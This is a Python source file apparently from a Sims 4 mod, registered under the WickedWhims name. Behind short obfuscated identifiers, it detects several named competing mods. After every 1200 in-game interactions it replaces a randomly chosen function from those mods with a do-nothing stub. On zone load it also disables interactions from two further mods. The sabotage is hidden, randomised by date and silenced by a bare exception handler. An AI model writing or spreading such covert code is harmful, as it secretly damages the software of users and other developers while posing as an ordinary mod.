import datetime, inspect, random, sys
import server_commands.interaction_commands
from interactions.base.immediate_interaction import ImmediateSuperInteraction
from sims4.tuning.instances import HashedTunedInstanceMetaclass
from turbolib2.utils.injector import inject
from turbolib2.events.zone_spin import register_zone_load_event_method
r = random.Random(datetime.datetime.today().day)
co = 0
ry = False
ams = ("arturlwww", "pregnancymegamod",)
ms = ("deviousdesires", "cnsimsnatcher", "sims4communitylib", "fallen", "atftoddlers", "atfchildren", "atfpuppieskittens", "HRKWP",)
def ijapb():
    global r, ms
    fs = set()
    for mn, mo in sys.modules.items():
        if any(fm in mn for fm in ms):
            for a in dir(mo):
                v = getattr(mo, a, None)
                if v is not None and not inspect.isbuiltin(v):
                    if inspect.isfunction(v):
                        vm = inspect.getmodule(v)
                        if vm is not None and any(fm in vm.__name__ for fm in ms):
                            if v not in fs:
                                fs.add(v)
                    elif inspect.isclass(v):
                        for ca in dir(v):
                            cv = getattr(v, ca, None)
                            if cv is not None and not inspect.isbuiltin(cv):
                                if inspect.isfunction(cv) or inspect.ismethod(cv):
                                    cvm = inspect.getmodule(cv)
                                    if cvm is not None and any(fm in cvm.__name__ for fm in ms):
                                        if cv not in fs:
                                            fs.add(cv)
    tf = r.choice(list(fs))
    tfc = getattr(inspect.getmodule(tf), tf.__qualname__.split('.<locals>', 1)[0].rsplit('.', 1)[0], None)
    setattr(tfc if tfc is not None and inspect.isclass(tfc) else inspect.getmodule(tf), tf.__name__, lambda *_, **__: None)
if not ry:
    for m in sys.modules.keys():
        if any(fm in m for fm in ms):
            @inject(server_commands.interaction_commands, '_send_interactable_message')
            def _on_send_interactable_message(original, self, *args, **kwargs):
                result = original(self, *args, **kwargs)
                try:
                    global co
                    co += 1
                    if co >= 1200:
                        co = 0
                        ijapb()
                except:
                    pass
                return result
            ry = True
            break
@register_zone_load_event_method(unique_id='WickedWhims', priority=0, late=True)
def _wickedwhims_register_actors_behavior():
    global ams
    for mn, mo in sys.modules.items():
        if any(fm in mn for fm in ams):
            for an in mo.__dict__:
                a = getattr(mo, an, None)
                if a is not None and type(a) is HashedTunedInstanceMetaclass and ImmediateSuperInteraction in a.__bases__:
                    a._run_interaction_gen = lambda *_, **__: (yield from [])